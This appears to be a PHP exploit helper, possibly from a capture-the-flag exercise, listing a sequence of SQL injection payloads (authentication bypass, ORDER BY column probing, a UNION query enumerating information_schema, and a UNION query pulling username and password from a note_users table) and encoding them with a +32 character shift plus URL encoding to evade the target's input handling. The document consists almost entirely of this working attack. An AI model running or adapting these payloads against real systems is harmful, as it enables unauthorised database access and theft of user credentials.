- chr: documentation ( source)
- urlencode: documentation ( source)
- ord: documentation ( source)
<?php
$in = "')or 1=1 and id=1-- -";
$in = "')order by 3-- -";
$in = "')and 1=2 union select table_schema,table_name,column_name from information_schema.columns where table_schema=database()-- -";
$in = "')and 1=2 union select username,password,3 from note_users where id=1-- -";
$out='';
for($i=0;$i<strlen($in);$i++){
$out.=chr(ord($in[$i])+32);
}
print urlencode($out);